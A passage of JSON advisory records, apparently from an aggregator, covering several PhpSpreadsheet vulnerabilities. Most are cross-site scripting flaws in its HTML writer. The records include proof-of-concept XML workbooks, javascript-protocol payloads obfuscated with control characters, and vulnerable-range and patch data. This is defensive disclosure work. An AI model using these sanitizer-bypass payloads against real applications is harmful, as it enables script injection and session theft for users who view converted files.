Technologies)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-08-25T14:32:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rx7m-68vc-ppxh","https://github.com/PHPOffice/PhpSpreadsheet/commit/334a67797ace574d1d37c0992ffe283b7415471a","https://github.com/PHPOffice/PhpSpreadsheet/commit/4050f14521d70634c3320b170236574a6106eb39","https://github.com/PHPOffice/PhpSpreadsheet/commit/81a0de2261f698404587a6421a5c6eb263c40b31","https://github.com/PHPOffice/PhpSpreadsheet/commit/ac4befd2f7ccc21a59daef606a02a3d1828ade09","https://github.com/PHPOffice/PhpSpreadsheet/commit/c2cd0e64392438e4c6af082796eb65c1d629a266","https://nvd.nist.gov/vuln/detail/CVE-2025-54370","https://github.com/FriendsOfPHP/security-advisories/blob/master/phpoffice/phpspreadsheet/CVE-2025-54370.yaml","https://github.com/advisories/GHSA-rx7m-68vc-ppxh"],"source_kind":"github","identifiers":["GHSA-rx7m-68vc-ppxh","CVE-2025-54370"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":37.435925449709764,"created_at":"2025-08-25T15:09:22.308Z","updated_at":"2026-10-26T21:06:59.964Z","epss_percentage":0.00817,"epss_percentile":0.56845,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yeDdtLTY4dmMtcHB4aM4ABLZU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yeDdtLTY4dmMtcHB4aM4ABLZU","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"5.0.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c 5.0.0"},{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.10.0"},{"first_patched_version":"2.4.0","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.4.0"},{"first_patched_version":"2.1.12","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.12"},{"first_patched_version":"1.30.0","vulnerable_version_range":"\u003c 1.30.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yeDdtLTY4dmMtcHB4aM4ABLZU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNTdoLTU0N2gtdzI0Zs4ABEF_","url":"https://github.com/advisories/GHSA-r57h-547h-w24f","title":"PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters","description":"**Product:** PhpSpreadsheet\n**Version:** 3.8.0\n**CWE-ID:** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1:** 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n**CVSS vector v.4.0:** 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)\n**Description:** an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link\n**Impact:** executing arbitrary JavaScript code in the browser\n**Vulnerable component:** class `PhpOffice\\PhpSpreadsheet\\Writer\\Html`, method `generateRow`\n**Exploitation conditions:** a user viewing a specially generated xml file\n**Mitigation:** additional sanitization of special characters in a string\n**Researcher: Igor Sak-Sakovskiy (Positive Technologies)**\n\n# Research\n\nThe researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.\nThe following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.\n\n*Listing 4. Source code on the server*\n\n```\n\u003c?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$inputFileType = 'Xml';\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);  \n\n$inputFileName = './doc/file.xml';\n$spreadsheet = $reader-\u003eload($inputFileName); \n \n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet); \nprint($writer-\u003egenerateHTMLAll());\n```\nThe contents of the xml file - `./doc/file.xml`\n\n*Listing 5. The contents of the xml file*\n```\n\u003c?xml version=\"1.0\"?\u003e \n\u003c?mso-application progid=\"Excel.Sheet\"?\u003e \n\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\" \n xmlns:o=\"urn:schemas-microsoft-com:office:office\" \n xmlns:x=\"urn:schemas-microsoft-com:office:excel\" \n xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\" \n xmlns:html=\"http://www.w3.org/TR/REC-html40\"\u003e \n \u003cDocumentProperties xmlns=\"urn:schemas-microsoft-com:office:office\"\u003e \n  \u003cAuthor\u003eauthor\u003c/Author\u003e \n  \u003cLastAuthor\u003eauthor\u003c/LastAuthor\u003e \n  \u003cCreated\u003e2015-06-05T18:19:34Z\u003c/Created\u003e \n  \u003cLastSaved\u003e2024-12-25T10:16:07Z\u003c/LastSaved\u003e \n  \u003cVersion\u003e16.00\u003c/Version\u003e \n \u003c/DocumentProperties\u003e \n \u003cOfficeDocumentSettings xmlns=\"urn:schemas-microsoft-com:office:office\"\u003e \n  \u003cAllowPNG/\u003e \n \u003c/OfficeDocumentSettings\u003e \n \u003cExcelWorkbook xmlns=\"urn:schemas-microsoft-com:office:excel\"\u003e \n  \u003cWindowHeight\u003e11020\u003c/WindowHeight\u003e \n  \u003cWindowWidth\u003e19420\u003c/WindowWidth\u003e \n  \u003cWindowTopX\u003e32767\u003c/WindowTopX\u003e \n  \u003cWindowTopY\u003e32767\u003c/WindowTopY\u003e \n  \u003cProtectStructure\u003eFalse\u003c/ProtectStructure\u003e \n  \u003cProtectWindows\u003eFalse\u003c/ProtectWindows\u003e \n \u003c/ExcelWorkbook\u003e \n \u003cStyles\u003e \n  \u003cStyle ss:ID=\"Default\" ss:Name=\"Normal\"\u003e \n   \u003cAlignment ss:Vertical=\"Bottom\"/\u003e \n   \u003cBorders/\u003e \n   \u003cFont ss:FontName=\"Calibri\" x:Family=\"Swiss\" ss:Size=\"11\" ss:Color=\"#000000\"/\u003e \n   \u003cInterior/\u003e \n   \u003cNumberFormat/\u003e \n   \u003cProtection/\u003e \n  \u003c/Style\u003e \n  \u003cStyle ss:ID=\"s16\"\u003e \n   \u003cNumberFormat ss:Format=\"General Date\"/\u003e \n  \u003c/Style\u003e \n \u003c/Styles\u003e \n \u003cWorksheet ss:Name=\"Лист1\"\u003e \n  \u003cTable ss:ExpandedColumnCount=\"2\" ss:ExpandedRowCount=\"6\" x:FullColumns=\"1\" \n   x:FullRows=\"1\" ss:DefaultRowHeight=\"14.5\"\u003e \n   \u003cColumn ss:AutoFitWidth=\"0\" ss:Width=\"194\"/\u003e \n   \u003cRow\u003e \n     \u003cCell ss:Formula=\"=HYPERLINK (CHAR(20) \u0026amp; \u0026quot;j\u0026quot; \u0026amp; CHAR(13) \u0026amp; \u0026quot;avascript:alert(1)\u0026quot;)\"\u003e\u003cData ss:Type=\"String\"\u003e\u003c/Data\u003e\u003c/Cell\u003e \n   \u003c/Row\u003e \n  \u003c/Table\u003e \n  \u003cWorksheetOptions xmlns=\"urn:schemas-microsoft-com:office:excel\"\u003e \n   \u003cPageSetup\u003e \n    \u003cHeader x:Margin=\"0.3\"/\u003e \n    \u003cFooter x:Margin=\"0.3\"/\u003e \n    \u003cPageMargins x:Bottom=\"0.75\" x:Left=\"0.7\" x:Right=\"0.7\" x:Top=\"0.75\"/\u003e \n   \u003c/PageSetup\u003e \n   \u003cSelected/\u003e \n   \u003cTopRowVisible\u003e1\u003c/TopRowVisible\u003e \n   \u003cPanes\u003e \n    \u003cPane\u003e \n     \u003cNumber\u003e3\u003c/Number\u003e \n     \u003cActiveRow\u003e6\u003c/ActiveRow\u003e \n    \u003c/Pane\u003e \n   \u003c/Panes\u003e \n   \u003cProtectObjects\u003eFalse\u003c/ProtectObjects\u003e \n   \u003cProtectScenarios\u003eFalse\u003c/ProtectScenarios\u003e \n  \u003c/WorksheetOptions\u003e \n \u003c/Worksheet\u003e\n\u003c/Workbook\u003e\n```\n\nDue to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.\n \n*Figure 4. Generating a link bypassing a regular expression*\n![fig4](https://github.com/user-attachments/assets/9bd2299d-9045-4cab-b3a5-cbcaf3bbe23c)\n\nIn the response from the server, you can see which special character is located in front of the javascript protocol after conversion.\n \n*Figure 5. Response from the server with a special character*\n![fig5](https://github.com/user-attachments/assets/3fecbd9b-b08e-4797-9f5d-06911f857059)\n\nWhen viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.\n\n*Figure 6. Executing JavaScript code*\n\u003cimg width=\"595\" alt=\"fig6\" src=\"https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1\" /\u003e\n_____________________________________________\n\n## Credit\n\nIgor Sak-Sakovskiy (Positive Technologies)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-02-03T15:39:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-r57h-547h-w24f","https://github.com/PHPOffice/PhpSpreadsheet/commit/cde2926a9e2baf146783f8fd1771bbed7d1dc7b3","https://nvd.nist.gov/vuln/detail/CVE-2025-23210","https://github.com/advisories/GHSA-r57h-547h-w24f"],"source_kind":"github","identifiers":["GHSA-r57h-547h-w24f","CVE-2025-23210"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":20.654303696391597,"created_at":"2025-02-03T16:09:04.846Z","updated_at":"2026-10-27T10:08:06.415Z","epss_percentage":0.00415,"epss_percentile":0.35524,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNTdoLTU0N2gtdzI0Zs4ABEF_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNTdoLTU0N2gtdzI0Zs4ABEF_","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.1.8","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.8"},{"first_patched_version":"2.3.7","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.7"},{"first_patched_version":"1.29.9","vulnerable_version_range":"\u003c 1.29.9"},{"first_patched_version":"3.9.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.9.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNTdoLTU0N2gtdzI0Zs4ABEF_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03OXh4LXZmOTMtcDdjeM4ABDo3","url":"https://github.com/advisories/GHSA-79xx-vf93-p7cx","title":"Cross-Site Scripting (XSS) vulnerability in generateNavigation() function in PhpSpreadsheet","description":"### Summary\nThe researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability in the code which translates the XLSX file into a HTML representation and displays it in the response.\n\n### Details\nWhen generating the HTML from an xlsx file containing multiple sheets, a navigation menu is created. This menu includes the sheet names, which are not sanitized. As a result, an attacker can exploit this vulnerability to execute JavaScript code.\n\n```php\n        // Construct HTML\n        $html = '';\n\n        // Only if there are more than 1 sheets\n        if (count($sheets) \u003e 1) {\n            // Loop all sheets\n            $sheetId = 0;\n\n            $html .= '\u003cul class=\"navigation\"\u003e' . PHP_EOL;\n\n            foreach ($sheets as $sheet) {\n                $html .= '  \u003cli class=\"sheet' . $sheetId . '\"\u003e\u003ca href=\"#sheet' . $sheetId . '\"\u003e' . $sheet-\u003egetTitle() . '\u003c/a\u003e\u003c/li\u003e' . PHP_EOL;\n                ++$sheetId;\n            }\n\n            $html .= '\u003c/ul\u003e' . PHP_EOL;\n        }\n```\n\n### PoC\n1. Create an XLSX file with multiple sheets : \n![image](https://github.com/user-attachments/assets/e3fc027a-9525-4d7f-b107-cfa6e78d04e7)\n\n2. Generate the HTML content \n```php\n\u003c?php\n\trequire __DIR__ . '/vendor/autoload.php';\n\n\t$inputFileName = 'payload.xlsx';\n\t$spreadsheet = \\PhpOffice\\PhpSpreadsheet\\IOFactory::load($inputFileName);\n\t$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n\t$writer-\u003ewriteAllSheets();\n\techo $writer-\u003egenerateHTMLAll();\n?\u003e\n```\n3. Enjoy\n![image](https://github.com/user-attachments/assets/3e3c24f4-cb5d-451d-978f-9d33234f3bd1)\n\n\n### Impact\n\nXSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise.\nExample of impacts :\n\n- Disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account (Only if HttpOnly cookie's flag is set to false).\n- Redirecting the user to some other page or site (like phishing websites)\n- Modifying the content of the current page (add a fake login page that sends credentials to the attacker).\n- Automatically download malicious files.\n- Requests access to the victim geolocation / camera.\n- ...","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-01-21T21:09:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-79xx-vf93-p7cx","https://nvd.nist.gov/vuln/detail/CVE-2025-22131","https://github.com/PHPOffice/PhpSpreadsheet/commit/4088381ccfaf241d7d42c333de0dc8c98e338743","https://github.com/advisories/GHSA-79xx-vf93-p7cx"],"source_kind":"github","identifiers":["GHSA-79xx-vf93-p7cx","CVE-2025-22131"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":21.94519767741607,"created_at":"2025-01-21T22:08:50.008Z","updated_at":"2026-10-27T10:08:09.366Z","epss_percentage":0.00401,"epss_percentile":0.34087,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OXh4LXZmOTMtcDdjeM4ABDo3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03OXh4LXZmOTMtcDdjeM4ABDo3","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.3.6","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.6"},{"first_patched_version":"2.1.7","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.7"},{"first_patched_version":"1.29.8","vulnerable_version_range":"\u003c 1.29.8"},{"first_patched_version":"3.8.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.8.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OXh4LXZmOTMtcDdjeM4ABDo3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xOWp2LW1tM3ItajQ3cs4ABC8m","url":"https://github.com/advisories/GHSA-q9jv-mm3r-j47r","title":"PhpSpreadsheet allows bypass XSS sanitizer using the javascript protocol and special characters","description":"# Bypass XSS sanitizer using the javascript protocol and special characters\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n**CVSS vector v.4.0**: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)\n**Description**: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: class `PhpOffice\\PhpSpreadsheet\\Writer\\Html`, method `generateRow`\n**Exploitation conditions**: a user viewing a specially generated Excel file\n**Mitigation**: additional sanitization of special characters in a string\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.\n\nThe following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.\n\n*Listing 6. Source code on the server*\n\n```\n\u003c?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$inputFileName = './doc/Book1.xlsx';\n$spreadsheet = \\PhpOffice\\PhpSpreadsheet\\IOFactory::load($inputFileName);\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\nprint($writer-\u003egenerateHTMLAll());\n```\n\nAn attacker can use special characters so that this library processes the javascript protocol with special characters and generates a HTML link.\nThe Excel file is unpacked and a hyperlink in the file is inserted into the `xl/worksheets/sheet1.xml` file.\n\n![fig11](https://github.com/user-attachments/assets/b9d53f7a-6f36-4853-95f9-8aa22f81eccd)\n\n*Figure 11. Using the javascript protocol with special characters*\n\nSome payloads help bypass the security system and carry out a XSS attack.\n\n*Listing 7. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\njav\u0026#x09;ascript:alert()\njav\u0026#x0D;ascript:alert()\njav\u0026#x0A;ascript:alert()\n```\n\nIt's clear that the javascript protocol with special characters is used. \n\n![fig12](https://github.com/user-attachments/assets/7595e88b-9848-4251-845c-2c2d8032e479)\n\n*Figure 12. Using the javascript protocol with special characters*\n\nDue to the special characters, the execution stream ends up on line 1543, and the link is built in HTML form with the javascript protocol.\n\n\u003cimg width=\"373\" alt=\"fig13\" src=\"https://github.com/user-attachments/assets/3ca0c3c6-daa9-4502-ad9e-b803f308fd26\" /\u003e\n\n*Figure 13. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-01-03T17:29:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-q9jv-mm3r-j47r","https://github.com/PHPOffice/PhpSpreadsheet/commit/45052f88e04c735d56457a8ffcdc40b2635a028e","https://nvd.nist.gov/vuln/detail/CVE-2024-56412","https://github.com/advisories/GHSA-q9jv-mm3r-j47r"],"source_kind":"github","identifiers":["GHSA-q9jv-mm3r-j47r","CVE-2024-56412"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":20.654303696391597,"created_at":"2025-01-03T18:08:21.467Z","updated_at":"2026-10-27T10:08:15.054Z","epss_percentage":0.0039,"epss_percentile":0.32897,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xOWp2LW1tM3ItajQ3cs4ABC8m","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xOWp2LW1tM3ItajQ3cs4ABC8m","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.7.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xOWp2LW1tM3ItajQ3cs4ABC8m/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1od2NwLTJoMzUtcDY2d84ABC8l","url":"https://github.com/advisories/GHSA-hwcp-2h35-p66w","title":"PhpSpreadsheet has a Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header","description":"# Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n**CVSS vector v.4.0**: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)\n**Description**: the HTML page is formed without sanitizing the hyperlink base\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: class `PhpOffice\\PhpSpreadsheet\\Writer\\Html`, method `generateHTMLHeader`\n**Exploitation conditions**: a user viewing a specially generated Excel file\n**Mitigation**: additional sanitization of special characters in a string\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header in Phpspreadsheet.\nThe following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.\n\n*Listing 8. Source code on the server*\n\n```\n\u003c?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$inputFileName = './doc/Book1.xlsx';\n$spreadsheet = \\PhpOffice\\PhpSpreadsheet\\IOFactory::load($inputFileName);\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\nprint($writer-\u003egenerateHTMLAll());\n```\n\nAn attacker can embed a payload in a file property that will result in the execution of arbitrary JavaScript code.\nThe Excel file is unpacked and a HyperlinkBase in the file is inserted into the `docProps/app.xml` file.\n\n![fig14](https://github.com/user-attachments/assets/f68ef7fc-e78e-4424-8753-4318b6ff51c3)\n\n*Figure 14. Embedding the payload* \n\nAfter the changes were made, a new archive with the xlsx extension was created. At the moment of converting the xlsx file into the HTML representation, a property is obtained that participates in the formation of a string without sanitization.\n\n![fig15](https://github.com/user-attachments/assets/0aa7398c-ddd9-4c5a-ab04-41af0236dcba)\n\n*Figure 15. Generating the HTML page header using the HyperlinkBase property* \n\nAfter generating and displaying the HTML representation of the XLSX file, arbitrary JavaScript code will be executed.\n\u003cimg width=\"356\" alt=\"fig16\" src=\"https://github.com/user-attachments/assets/c3694661-31e3-4be8-9a86-6eb4dd4647b5\" /\u003e\n\n*Figure 16. Executing arbitrary JavaScript code* \n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-01-03T17:28:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-hwcp-2h35-p66w","https://github.com/PHPOffice/PhpSpreadsheet/commit/45052f88e04c735d56457a8ffcdc40b2635a028e","https://nvd.nist.gov/vuln/detail/CVE-2024-56411","https://github.com/advisories/GHSA-hwcp-2h35-p66w"],"source_kind":"github","identifiers":["GHSA-hwcp-2h35-p66w","CVE-2024-56411"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":20.654303696391597,"created_at":"2025-01-03T18:08:21.534Z","updated_at":"2026-10-27T10:08:15.054Z","epss_percentage":0.00369,"epss_percentile":0.305,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1od2NwLTJoMzUtcDY2d84ABC8l","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1od2NwLTJoMzUtcDY2d84ABC8l","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.7.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1od2NwLTJoMzUtcDY2d84ABC8l/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13djIzLTk5NnYtcTIyOc4ABC8k","url":"https://github.com/advisories/GHSA-wv23-996v-q229","title":"PhpSpreadsheet has a Cross-Site Scripting (XSS) vulnerability in custom properties","description":"# Cross-Site Scripting (XSS) vulnerability in custom properties\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n**CVSS vector v.4.0**: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)\n**Description**: the HTML page is generated without clearing custom properties\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: class `PhpOffice\\PhpSpreadsheet\\Writer\\Html`, method `generateMeta`\n**Exploitation conditions**: a user viewing a specially generated Excel file\n**Mitigation**: additional sanitization of special characters in a string\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability in custom properties in Phpspreadsheet.\nThe following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.\n\n*Listing 9. Source code on the server*\n\n```\n\u003c?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$inputFileName = './doc/Book1.xlsx';\n$spreadsheet = \\PhpOffice\\PhpSpreadsheet\\IOFactory::load($inputFileName);\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\nprint($writer-\u003egenerateHTMLAll());\n```\n\nAn attacker can embed a payload in a file property that will result in the execution of arbitrary JavaScript code.\nThe Excel file is unpacked and a custom property in the file is inserted into the `docProps/custom.xml` file.\n\n![fig17](https://github.com/user-attachments/assets/65453b48-bca5-4f5c-a683-315a7bb1ab1f)\n\n*Figure 17. Embedding the payload*\n\nAfter making the changes, a new archive with the xlsx extension was created. At the moment of converting the xlsx file into an HTML representation, a property is obtained that participates in the formation of a string without sanitization.\n\n![fig18](https://github.com/user-attachments/assets/e0f63bfb-d9e1-4c9d-a2a9-8a0a20406cdc)\n\n*Figure 18. Getting a custom property*\n\nWhen calling the static `generateMeta` method, you can see that the key of the custom property is displayed without sanitization.\n\n![fig19](https://github.com/user-attachments/assets/8c74e264-af68-4f62-8ac7-437e65884e86)\n\n*Figure 19. Getting a custom property*\n\nAs a result, when viewing the excel file as the HTML representation, arbitrary JavaScript code will be executed.\n\n\u003cimg width=\"356\" alt=\"fig20\" src=\"https://github.com/user-attachments/assets/a6ed21e3-685c-415c-b2dc-453bc0652bef\" /\u003e\n\n*Figure 20. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-01-03T17:25:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wv23-996v-q229","https://github.com/PHPOffice/PhpSpreadsheet/commit/45052f88e04c735d56457a8ffcdc40b2635a028e","https://nvd.nist.gov/vuln/detail/CVE-2024-56410","https://github.com/advisories/GHSA-wv23-996v-q229"],"source_kind":"github","identifiers":["GHSA-wv23-996v-q229","CVE-2024-56410"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":20.654303696391597,"created_at":"2025-01-03T18:08:21.571Z","updated_at":"2026-10-27T10:08:15.055Z","epss_percentage":0.00337,"epss_percentile":0.26864,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13djIzLTk5NnYtcTIyOc4ABC8k","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13djIzLTk5NnYtcTIyOc4ABC8k","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 